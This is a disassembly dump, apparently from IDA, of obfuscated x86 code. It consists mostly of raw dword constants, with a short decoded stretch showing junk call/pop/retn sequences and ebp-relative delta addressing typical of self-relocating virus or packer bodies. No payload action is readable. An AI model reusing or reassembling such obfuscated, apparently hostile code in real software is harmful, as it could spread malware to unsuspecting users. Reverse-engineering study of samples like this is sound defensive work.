		dd 0BF58317Dh, 6A096F0h, 5AFC2C88h, 6AD0FF5Bh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 0BCA3C355h, 6052F717h, 1641BD83h, 0F010613h,	9F85h
		dd 0C2805200h, 858B5B73h, 6130F55h, 12E9h, 0DE083100h
		dd 34493664h, 13020389h, 0F0C5EAD7h, 0E97A4A7Ch, 3Ch, 8C0F60h
		dd 9000000h, 1308AD9Dh,	66506106h, 489D88Bh, 6E86024h
		dd 99000000h, 0BC8C8CFCh, 5EF88B2Eh, 8B146A61h,	1306F195h
		dd 0A995FF06h, 8B06130Dh, 8D0158D9h, 6132CFDh, 0F003880h
		dd 0FFFFC985h, 50006AFFh, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 969220Ch, 13230D9Dh, 79958906h
		dd 0C606130Dh, 958B0100h, 61313EDh, 819D8B61h, 8306131Eh
		dd 13281DBDh, 840F0006h, 0A4h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 80C35040h, 0F9347965h, 0C4B23C76h
		dd 0EE8h, 12F6C900h, 57428EC1h,	0D477E055h, 526ED1ADh
		dd 5AD1B70Fh, 80FF6A5Ah, 95FF4BDEh, 6130DA9h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0EC35747h, 0A2B3FC0Bh
		dd 0FFFFD0E9h, 57006AFFh, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1404h, 0C3574700h, 0A99D098Bh, 0E9061321h
		dd 10h,	7FE40B16h, 7CC35D77h, 10303C2Fh, 56C01A68h, 281D85C7h
		dd 10613h, 0CA800000h, 2385895Eh, 8106134Fh, 1602B0C2h
		dd 0BF609039h, 1258F872h, 5061D38Ah, 12E9h, 316D300h, 6C0DCF21h
		dd 686B57B8h, 3A81DEEFh, 904BE503h, 0BB59589h, 958B0613h
		dd 61307D5h, 0D3816660h, 56AD0B1h, 1FC9B529h, 858D0613h
		dd 6134F3Bh, 0A1858960h, 0F06131Bh, 684h, 0B18D8900h, 61061314h
		dd 5088B690h, 90D98B66h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 6CC35343h, 0B71BD5E1h, 8166CF91h, 8D9B4BE2h
		dd 134F2B85h, 0BD9D8B06h, 50061312h, 7E9h, 1F4D1900h, 116E939Dh
		dd 2B240489h, 1313419Dh, 1595FF06h, 8B06131Bh, 1324619Dh
		dd 0D88D8D06h, 0B06137Dh, 8D1174C0h, 134F3B85h,	0D1FF5006h
		dd 4F598589h, 0AEB0613h, 4F5985C7h, 0FFFF0613h,	958BFFFFh
		dd 6130AC5h, 23F19D8Bh,	66610613h, 4B41CB81h, 11E185C6h
		dd 8B4D0613h, 1309499Dh, 0AE46806h, 4818854h, 0E16BC424h
		dd 68F0F1Bh, 33000000h,	13018D95h, 0E5B5FF06h, 6606131Fh
		dd 8D28BCBBh, 167C3385h, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 0C34A57C1h, 0F3843C03h
		dd 0D0FFFA8Ah, 13E9h, 0C7E66E00h, 21720D4Dh, 0F2D6DA28h
		dd 0EA53200Bh, 1BA9B049h, 1558589h, 0B5890613h,	61323FDh
		dd 11E185C6h, 66450613h, 0B43CEA81h, 0CAF78868h, 62BB66CAh
		dd 2434814Eh, 44B89EE1h, 17398D89h, 0B5FF0613h,	6131EE9h
		dd 0E7E5EB81h, 858D4A9Eh, 6167C33h, 0B1858960h,	60061325h
		dd 9D095E51h, 6132141h,	0D0FF6161h, 89D0BF0Fh, 131CBD85h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 4CC72FEDh, 8BD28BC6h, 1305DD9Dh,	0D98C6606h
		dd 0BE9h, 31E8E400h, 0AEE76D5Dh, 0EEEFB854h, 20C58D29h
		dd 0C1F60613h, 90840F04h, 0E9000002h, 0Bh, 833F7FDCh, 6269B089h
		dd 0E913018Bh, 115h, 0B58BF78Ah, 61329C5h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0B3C35141h, 0F1FEFCFh
		dd 0BD31D78Bh, 6133119h, 1180C681h, 8B0F0000h, 6, 0F419D8Bh
		dd 0BD830613h, 61322C1h, 28850F00h, 0E9000000h,	0B6h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0EFC35747h, 9EC10299h
		dd 83986244h, 840F003Eh, 8Ah, 0B20A98BBh, 6A6001h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 384FC4C3h, 722BE86Eh, 0FBA805Fh, 9D8BD1BFh, 613119Dh
		dd 9D2B146Ah, 61300D9h,	34859D29h, 95FF0613h, 6130DA9h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 90C35141h
		dd 0F6C7C938h, 0BF0F6150h, 0FF85E9D8h, 13E9FFFFh, 4C000000h
		dd 8E7FE56Fh, 797AA610h, 4F3622D3h, 0F4747D1Ah,	6C76E7Ch
		dd 1, 0B97606BBh, 23BD8366h, 506134Fh, 159850Fh, 66510000h
		dd 8B5ADF8Bh, 131CBDB5h, 699D8B06h, 0B9061317h,	64h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 17C35242h, 4F408BE3h
		dd 0E380AA04h, 0E83E806Bh, 69840Fh, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0B889FBC3h
		dd 0DEE47CCAh, 7E9E868h, 26000000h, 973BF226h, 44E9C8BDh
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 9E1BC353h, 0FA6DAEFEh,	606EE7ADh
		dd 6850Fh, 0BD290000h, 6130009h, 8061DD8Ah, 0FC2057Eh
		dd 7884h, 89952B00h, 46061310h,	1251BD09h, 0AE80613h, 32000000h
		dd 0B15D2D52h, 0B24763E9h, 8D89538Ah, 6130B55h,	0F495A5Bh
		dd 0FFFF5885h, 14E8FFh,	87340000h, 6E785ED2h, 0D739E128h
		dd 68B08280h, 0F7B282BAh, 9D8B3107h, 61309FDh, 0D78B665Ah
		dd 4EE9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1704h, 0C3514100h, 6D4BF680h, 6DF28166h, 71B589A8h
		dd 6A06130Ah, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 0DBFBC350h, 21958BBBh,	58061300h
		dd 16DD8589h, 0BD830613h, 6131E3Dh, 0CB840F00h,	6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 5898C357h, 0CA6533CCh, 51B3AA07h,	2C098D89h
		dd 52600613h, 800F57h, 5B000000h, 0E185C65Bh, 54061311h
		dd 1399523h, 24680613h,	0B6A993B3h, 24348134h, 56DD0DD0h
		dd 0FFD88B66h, 131EE9B5h, 0BA66F906h, 858DCBABh, 6167C33h
		dd 399D8B51h, 5B06130Bh, 0E125BA66h, 8B66D0FFh,	80006AD9h
		dd 0B5FF54DFh, 6131E3Dh, 0D0FFABB6h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 18h, 0B7C35040h,	581F22F2h, 77D0A8BAh
		dd 6A6143h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 0C1E610C3h, 85C7D18Ah, 6131D1Dh, 1, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 7AC35040h, 9CBBEAB5h
		dd 0B509E7FBh, 61319C1h, 60D78B66h, 0E8D7B70Fh,	4, 80h
		dd 14E8h, 1D756E00h, 27742650h,	80FCED39h, 9C38CD71h, 1BBE1AC6h
		dd 0DBB66C6h, 50505B57h, 0FDE8B52h, 11E931h, 5D20000h
		dd 723EA09Eh, 34179374h, 70A0900Fh, 5AD6D79Fh, 24448B58h
		dd 8BCBB604h, 0EBBB6600h, 24448959h, 58D88B04h,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 4CC35747h, 9D03F25Eh
		dd 8BF5B72Fh, 1313F595h, 6AFF6A06h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0EC9BC356h
		dd 89B27C78h, 1310CDBDh, 92BB6606h, 995FF64h, 0E806130Dh
		dd 6, 16F1B920h, 0E381F6A1h, 1A17E883h,	10E85Bh, 55070000h
		dd 3ED3690h, 0F9FF6F86h, 0C5F8A91Fh, 0BB66D1C6h, 615ADDFFh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 7DC35545h
		dd 95039876h, 6131A49h,	44B35050h, 2404895Ah, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0B4C35646h, 8B66120Bh
		dd 0EDBD89DAh, 8B061304h, 1331C185h, 53006A06h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 483A247Ah
		dd 0AC5083B8h, 8A0FB4F4h, 2, 0C00BF98Ah, 4E840Fh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 60D135C3h, 18E1B589h, 9D010613h, 6131ABDh, 0F995FF61h
		dd 6A061314h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 4100C352h, 13B185C7h, 10613h
		dd 958B0000h, 6133145h,	1B7DBD83h, 0F000613h, 4384h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 0EBA2B1B4h, 66485A5Bh, 695CDB81h, 148595FFh,	11E90613h
		dd 33000000h, 0D5B97C95h, 0FF861363h, 8C7EEA76h, 0BD402976h
		dd 30CDBD83h, 0F000613h, 1284h,	91853100h, 0FF06130Bh
		dd 1307DD95h, 0BD950306h, 83061305h, 131F81BDh,	840F0006h
		dd 5Dh,	0BF2DBA66h, 68C0Fh, 95010000h, 61305BDh, 0A31BD83h
		dd 0F000613h, 4085h, 8CB8100h, 0FF709F92h, 13311D95h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 55BD9245h, 6E8603Eh,	0FE000000h, 9256EB8Fh, 0A5B58B50h
		dd 5E061313h, 0C1BD8361h
		dd 6130Ah, 3C840Fh, 0E9600000h,	12h, 5626025Ch,	4C13B1E7h
		dd 62B365D2h, 4826CC7Dh, 81612254h, 130D7D85h, 400306h
		dd 0BD958900h, 6606132Eh, 818FEDBAh, 13311585h,	400306h
		dd 0E2816600h, 310F5C99h, 0CD8D8DFCh, 0E906135Fh, 13h
		dd 38BFD0E3h, 82E380FEh, 0FDAAA401h, 0F392CB96h, 5314B01Eh
		dd 0B048D281h, 895B13B8h, 79BD0901h, 0BA061321h, 3AE51072h
		dd 4189C233h, 0FF48A04h, 85952331h, 8D061334h, 135FE18Dh
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 4CD19BA1h, 1CD59D89h, 1890613h, 33D08B66h
		dd 299D89C2h, 8906130Bh, 6A0441h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 0D6B5BEC3h, 5E98B3Bh
		dd 0D3000000h, 0C262563Bh, 1309BD83h, 0F000613h, 3884h
		dd 0FFDE8A00h, 13317D95h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 3C7D9205h
		dd 1B04EE7Eh, 0CD8531E4h, 89061308h, 1324F9B5h,	5BD8306h
		dd 106131Dh, 37850Fh, 9D8B0000h, 61305A9h, 1451B589h, 26E90613h
		dd 8A000000h, 0F8B58BF9h, 0C7061360h, 6, 0CEB58B00h, 0C706135Eh
		dd 6, 0BA66CF00h, 8BF98151h, 1319199Dh,	0B1BD8306h, 61313h
		dd 11C840Fh, 95890000h,	6131E05h, 30A9BD83h, 0F010613h
		dd 0F885h, 59EBBB00h, 8D8B3369h, 6134F17h, 178A0Fh, 12E90000h
		dd 33000000h, 0C11113C4h, 0FBD2D293h, 137FE00Dh, 6B85F622h
		dd 1C6C6h, 6800Fh, 958B0000h, 61314BDh,	52006A60h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h
		dd 9F59AD0Ch, 0BD349D06h, 0D868FF97h, 6000DF38h, 820F51h
		dd 5E000000h, 816177B4h, 38582434h, 958B00DFh, 6131CD9h
		dd 0F60FF6Ah, 1587h, 10E900h, 3B0B0000h, 219C496Eh, 5FB4A632h
		dd 32A65852h, 0B589D365h, 6130C71h, 995FF61h, 0F806130Dh
		dd 6840F61h, 8B000000h,	130E699Dh, 0E595FF06h, 6A06132Fh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 41F7C356h, 0FAB024E8h, 178D8B12h,	0F06134Fh
		dd 680h, 1DD28100h, 0FE09C93Dh,	0D7B70F01h, 0EB8166h, 75BD8315h
		dd 1061320h, 4850Fh, 0BA660000h, 0C08B7604h, 8B0Fh, 0BD830000h
		dd 6131625h, 83097500h,	132C81BDh, 1A740006h, 0C08B5350h
		dd 0D7D858Bh, 85890613h, 6130D7Dh, 0A97D9D8Dh, 0D3FF0615h
		dd 0BD83585Bh, 6132C81h, 50187400h, 7D858B53h, 8906130Dh
		dd 130D7D85h, 6C9D8D06h, 0FF0615A6h, 0E8585BD3h, 9, 0ED87D565h
		dd 8D2CF88Ah, 0FBE381ACh, 5A5B5407h, 28A0Fh, 0D78B0000h
		dd 20CA8150h, 5B7A9E4Ch, 0BD83C08Bh, 61313B1h, 2C850F00h
		dd 89000000h, 130BE18Dh, 0D5BD8306h, 61325h, 19840Fh, 0BD010000h
		dd 6131629h, 0EE9h, 0C5A2D300h,	5B07F1F8h, 0FE91A466h
		dd 83E386BFh, 1313B1BDh, 840F0006h, 40h, 30D19D89h, 93BB0613h
		dd 8360E55Fh, 1318FDBDh, 840F0006h, 28h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 1Ah, 6EC35545h, 14F9B244h
		dd 8D29CA0Ah, 6130D25h,	13B1BD83h, 0F000613h, 4A84h, 178B0F00h
		dd 57000000h, 0FE8h, 5A4F7600h,	25925D14h, 2FBD3C6Ah, 91D126D7h
		dd 0BD835B5Bh, 61318FDh, 20840F00h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 0BCD5C350h, 833EC741h, 1313B1BDh, 840F0006h,	61h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0E9C35646h, 3895878Dh
		dd 603FFB14h, 24858D8Bh, 0BF660613h, 8361E1D7h,	1321E9BDh
		dd 840F0006h, 25h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 0F5C35646h, 6CACE899h, 0E0B10E9h, 0B1BD83F6h
		dd 61313h, 76840Fh, 12E80000h, 6B000000h, 7FEFAFEEh, 0DE30EAA8h
		dd 9D029D1Ch, 0A2D60AD8h, 71BD29EAh, 5B06131Eh,	1E11BD83h
		dd 0F000613h, 4B84h, 51006A00h,	3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1404h, 0C3514100h, 58A0F0Dh, 0BA000000h
		dd 1D7B2EF8h, 13E9h, 0E5712800h, 0AAC9A501h, 7685A360h
		dd 7EB947F0h, 39A5B141h, 217D95FFh, 95890613h, 61314B1h
		dd 0BD83C08Bh, 6131625h, 83097500h, 132C81BDh, 1A740006h
		dd 0C08B5350h, 3115858Bh, 85890613h, 6133115h, 0A9E49D8Dh
		dd 0D3FF0615h, 0BD83585Bh, 6132C81h, 50187400h,	15858B53h
		dd 89061331h, 13311585h, 859D8D06h, 0FF0615A6h,	80585BD3h
		dd 805023C7h, 8B5A5CDFh, 0DAB70FC0h, 13B1BD83h,	0F000613h
		dd 5AD84h, 83DF8B00h, 132CF1BDh, 840F0206h, 55h, 11E9h
		dd 0A8AC6400h, 907A57F1h, 1527E025h, 5638E797h,	0BD83E331h
		dd 6131D05h, 32850F01h,	6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0E156C356h
		dd 35235E9Fh, 60029E57h, 34759589h, 0BD8B0613h,	6130C69h
		dd 6A6061h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 8102D9C3h, 4F178D8Bh, 6A0613h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 0F83E66C3h
		dd 0C20D1D80h, 6601FEE2h, 0BF60DB81h, 4E8h, 8000h, 50D18B00h
		dd 448B95B7h, 0B8600424h, 29DC903Dh, 11E9h, 0AFBC1B00h
		dd 0C4690AADh, 0B6E83361h, 0E48CF4C4h, 8B6192EEh, 0A0BB6600h
		dd 24448952h, 0BB665004h, 585A6200h, 0FF6AFE8Ah, 68A0Fh
		dd 9D8B0000h, 61324B1h,	12319533h, 95FF0613h, 6130D09h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 6AC35646h
		dd 0C4898F6Ch, 8BC79601h, 1324A59Dh, 0C1B58906h, 6106132Bh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0DEC35242h
		dd 5E9h, 0F1EB9000h, 0CA8161B0h, 73C68BDh, 65DBD8Dh, 6A0613h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 5C3EE2C3h, 10E985h, 26A30000h, 88745195h, 2B68875Ah
		dd 96BF0EF2h, 4F8BD8A5h, 66016A1Ch, 50E2EABAh, 5BDA8B56h
		dd 6A240C89h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 17C3C350h, 3D008124h, 0A1BD89B9h
		dd 8D06130Dh, 16367785h, 0E7EE8006h, 0DA80D0FFh, 204F8B6Ch
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0B0C35141h
		dd 0A61B5E87h, 0A6DC7FC3h, 0D480608Eh, 61C68BE9h, 59B3036Ah
		dd 0DE891h, 0CDA80000h,	81777E9h, 323C1174h, 508C41B3h
		dd 12E952h, 0DDFA0000h,	30F22DF9h, 0B4249CB6h, 0DA0A84B5h
		dd 0EDE810B0h, 5E9310Fh, 3B000000h, 81ACEB7Dh, 505A585Ah
		dd 9E68BB66h, 55006A91h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 208045DCh, 8B82C1BEh, 1330B595h
		dd 858DF906h, 6163677h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 17h, 6FC35646h
		dd 0F5B4B54h, 1585h, 0DE800h, 0E3E20000h, 0ADD73CA4h, 4F810D02h
		dd 0B35461BFh, 95295BFDh, 613207Dh, 6AD0FFh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0D2376DC3h
		dd 285E826Eh, 5DBD8D71h, 0E9061306h, 8,	5B24E14Dh, 3EF53EADh
		dd 4F8B95B7h, 50006A1Ch, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1C04h, 0C3504000h, 2FA93C16h, 8F113983h, 21950164h
		dd 6A061323h, 50006A01h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1B04h, 0C3504000h, 17F1680Dh, 4C5F0ED2h, 89D1BF0Fh
		dd 131B01BDh, 52509106h, 310F90B2h, 585A02B7h, 0F525050h
		dd 0BB525031h, 4A3CCA2Eh, 800F310Fh, 0
; ---------------------------------------------------------------------------
		pop	edx
		pop	eax
		pop	edx
		pop	eax
		xchg	eax, ecx
		mov	[ebp+6130EE9h],	esi
		lea	eax, [ebp+6163677h]
		or	bh, 37h
		call	eax
		push	0
		push	ebp
		call	loc_582B6D
		and	[ebp-3Dh], bl


loc_582B6D:				; CODE XREF: sub_580566+25FFp
		pop	ebp
		mov	[esp-14h+arg_10], ebp
		add	[esp-14h+arg_10], 1Ah
		inc	ebp
		push	ebp
		retn
; ---------------------------------------------------------------------------
		db 9Eh,	0CFh, 0A0h
		dd 85AD4039h, 0C759D8Bh, 0E9600613h, 0Ch, 26655792h, 0C1EC32B7h
		dd 0CB8CE920h, 0C8A0Fh,	6E80000h, 3D000000h, 0BD027DB0h
		dd 8B615AC5h, 6A204Fh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 170424h, 52420000h, 751F35C3h, 3D35BB94h, 36A2946h
		dd 91A1DB80h, 5250F88Ah, 0E34BBB66h, 0CE8915Ah,	67000000h
		dd 9945070Bh, 0E24EC6D8h, 230A90D9h, 1301F59Dh,	858D5A06h
		dd 6163677h, 0D0FFD88Ah, 5AD88B51h, 4F178D8Bh, 6A0613h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 8A526CC3h, 1FE5AD5h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 7C35646h, 7C3AEDCh, 8BF9FECDh, 134F1785h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1904h
		dd 0C3534300h, 7BBBE7B0h, 0FEBFC6h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 0E4C35040h,	0AA2B60A2h, 0E781757Ah
		dd 8B6DD380h, 131EA595h, 51016A06h, 22999D23h, 0E85B0613h
		dd 4, 0FFFF9FFFh, 0CE9h, 0A911AB00h, 4687E86Ah,	2CDC8D5Ch
		dd 14E95011h, 0DE000000h, 4D6739D1h, 0DEDB30ADh, 20B45155h
		dd 0F822B522h, 8B4CF594h, 50042444h, 2850F52h, 56000000h
		dd 0E9310F5Bh, 14h, 0C283321h, 0E8813C2Eh, 6A2A8864h, 0B13023EBh
		dd 2ECB2266h, 8B585Ah, 4489C8B6h, 6A580424h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 5B08C357h, 54AF8D81h, 237F720Bh, 1312399Dh, 81858D06h
		dd 6A061636h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 657CC350h, 0D0FF9EBDh,	59D8D89h
		dd 0BD830613h, 61325D5h, 0DE840F00h, 6A000000h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 44C9C350h, 0EE92FC97h, 958BBD70h, 6131E99h, 173DBD83h
		dd 0F010613h, 0A885h, 0AE800h, 0C67A0000h, 64746DD8h, 2EE5464h
		dd 6850Fh, 95010000h, 613138Dh,	8B8D8D5Bh, 8B061636h, 0E9036ADAh
		dd 0Ah,	0DC0371Bh, 7A5F0C47h, 16A8BC8h,	20919D8Bh, 0D1FF0613h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0A2C35040h
		dd 679504D0h, 49DD0A99h, 6656016Ah, 6A5BDF8Bh, 0FFE0B601h
		dd 4D9D8BD1h, 0E906131Fh, 6, 4543F36Dh,	11E8C4CDh, 6AFA486Bh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 3016C353h, 5E37996Ah, 6A206ACBh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 45C5C357h, 0DF9FD5Fh, 155DBD89h, 0FF6A0613h,	0FFD88B66h
		dd 130D0995h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1504h, 0C3534300h, 0B70F9C33h, 0B8D8h, 870F0000h, 2
		dd 12E918B6h, 0FE000000h, 851C6643h, 0A6E7B529h, 3D723117h
		dd 0DD662223h, 0FC00BCDh, 8B84h, 5958B00h, 83061316h, 1307F1BDh
		dd 840F0006h, 78h, 0FE9h, 62870400h, 234E89C9h,	175FA65h
		dd 9F403BD5h, 12E85760h, 55000000h, 1A749BFEh, 5C5793B4h
		dd 0FF4D796Ch, 1A867437h, 0B5B5BFEh, 1309B585h,	95FF6106h
		dd 6131339h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ah,	0DAC35141h, 6167CBCh, 95336E96h, 61324F9h, 0E840Fh
		dd 8B600000h, 13305985h, 0E18D8B06h, 6106131Dh,	0F55858Bh
		dd 9D8B0613h, 61321E5h,	0C619B7h, 0FE900h, 0C1840000h
		dd 4DBC8188h, 833176A4h, 0BA23151Bh, 6A58ABh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 190424h, 53430000h, 692372C3h
		dd 8B385CA3h, 132A2595h, 0D98C6606h, 0C1F6FBB7h, 61840F04h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 0C82FC356h, 0ACA07C26h, 8B2B5C64h
		dd 36E9DFh, 0BE90000h, 23000000h, 4ED442CDh, 0B5D37AC0h
		dd 0B58B4949h, 61329C5h, 0C681D38Bh, 1180h, 24118589h
		dd 0B5890613h, 6131A91h, 6C7h, 8D890000h, 6133091h, 51006A5Eh
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1604h, 0C3514100h
		dd 83729361h, 840F00F8h, 0AD8h,	31758D09h, 0F8830613h
		dd 0CB850F01h, 8B000001h, 0B8DAh, 958B0000h, 613229Dh
		dd 840FC00Bh, 13Bh, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 1Dh, 81C35040h, 0EE05626Bh, 3EB987E1h, 1F883E9h
		dd 14E840Fh, 0BD090000h, 61318EDh, 0F03F883h, 8884h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 4ED64E32h, 9D8BE472h, 6130B6Dh, 0B8h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h
		dd 0D60AD89Dh, 66E2EAA2h, 0BD8DD18Bh, 5B89E0h, 0BE9h, 0AADE9600h
		dd 0E7BD443Fh, 0D7FA0F3Eh, 6AE7FFh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 160424h, 57470000h, 19B0D9C3h
		dd 1B8F9h, 85890000h, 61315F5h,	89E0BD8Dh, 6A005Bh, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 7EB6C2C3h, 519589A0h, 0FF06130Ah, 52006AE7h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 0E8C5035Ah
		dd 14h,	40D7F907h, 0E43A69Bh, 8C6892DEh, 0E41C77B8h, 6D84C67Eh
		dd 19D18D89h, 8D5B0613h, 1345A3BDh, 13E86006h, 9A000000h
		dd 0A3A39605h, 86DC5F5Eh, 0C9F333B2h, 8F9FD838h, 8166F582h
		dd 592446D1h, 0E961C68Bh, 2B3h,	0FE9h, 491A8300h, 38450480h
		dd 682E4024h, 14AAA518h, 4F7285C7h, 50613h, 0D88B0000h
		dd 5B8h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 0E951BEB0h, 818h,	29799533h, 0F8830613h
		dd 13850F02h, 0B6000001h, 219D8B34h, 0B806131Dh, 0
		dd 197D952Bh, 0BA660613h, 0C00B55CFh, 0CE840Fh,	0AEB30000h
		dd 0F01F883h, 0FFFF9384h, 0ABBA66FFh, 0C5BD89EFh, 83061331h
		dd 840F03F8h, 0FFFFFEC9h, 898D3160h, 0E9061317h, 14h, 7A780AF2h
		dd 67A72B5Bh, 0BF39391Bh, 0AFF3F9ABh, 0F7528C9Ah, 0B861h
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
		dd 50400000h, 24CE03C3h, 0E827B90Eh, 11h, 952B7136h, 4CE56A84h
		dd 1FE4AB1Ch, 80185DEAh, 14E87Dh, 0F30A0000h, 0C62914F6h
		dd 47BAC7CDh, 128D62A3h, 0FC4420C6h, 8E93B89h, 27000000h
		dd 42C7652Eh, 5BDDC296h, 0E0BD8D5Bh, 6A005B89h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 2B8DC352h, 9D8BE7FFh, 61322E9h, 479BBD8Dh, 8A0F0613h
		dd 3, 0E9D68B66h, 15Bh,	0DE9h, 0AE5A6900h, 0C773BF51h
		dd 0B0775C70h, 0F8838CB7h, 31850F03h, 29000000h, 13003595h
		dd 2FBD8D06h, 50061349h, 1EF99D8Bh, 0E95B0613h,	127h, 13E9h
		dd 3280A700h, 95F014CFh, 0D75DEFBh, 0B5C47D2Ah,	0B2E37094h
		dd 0F05F883h, 885h, 0ADE9FC00h,	8A000006h, 6F883F4h, 41850Fh
		dd 870F0000h, 6, 296D8589h, 0BD8D0613h,	6134B27h, 1B99B501h
		dd 0D8E90613h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 0E8C4C355h,	2268C811h
		dd 833B77EDh, 850F07F8h, 46h, 0BD8D3EB3h, 6132609h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 8AC35747h, 359F5E63h
		dd 48B0Fh, 0BB660000h, 1AE994F2h, 0E9000001h, 0Ah, 44A4EBB5h
		dd 2C2CE980h, 0F8832E01h, 5C850F0Ah, 6A000000h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
